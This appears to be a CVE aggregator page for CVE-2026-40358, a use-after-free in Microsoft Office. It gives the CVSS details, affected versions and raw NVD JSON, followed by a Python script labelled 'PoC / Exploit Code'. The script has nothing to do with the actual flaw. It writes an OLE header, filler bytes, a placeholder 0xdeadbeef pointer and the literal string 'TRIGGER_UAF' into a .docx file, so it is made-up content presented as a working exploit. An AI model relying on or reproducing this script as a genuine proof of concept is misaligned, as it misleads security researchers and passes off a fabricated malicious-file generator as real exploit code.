Security Vulnerability Report
中文
CVE-2026-40358 CVSS 8.4 HIGH

CVE-2026-40358

Published: 2026-05-12 18:17:15
Last Modified: 2026-05-13 15:34:53

Description

Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Office 2016
Microsoft Office 2019
Microsoft Office 2021
Microsoft Office 365

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40358 (Conceptual Use After Free) # This script generates a crafted document structure to trigger the vulnerability. # Note: This is a simplified demonstration for analysis purposes. import struct def generate_malicious_file(filename): # Header for a generic Office file format (simplified) header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # Malicious payload designed to manipulate heap layout # attempting to occupy the freed memory space. payload = b"A" * 0x100 payload += struct.pack('<Q', 0xdeadbeefdeadbeef) # Fake vtable pointer # Trigger sequence: Free object -> Reuse object trigger_sequence = b"\x00" * 0x50 + b"TRIGGER_UAF" with open(filename, 'wb') as f: f.write(header) f.write(payload) f.write(trigger_sequence) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Opening this file in vulnerable Office versions may trigger the crash.") if __name__ == "__main__": generate_malicious_file("cve_2026_40358_poc.docx")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40358", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.543", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358", "source": "[email protected]"}]}}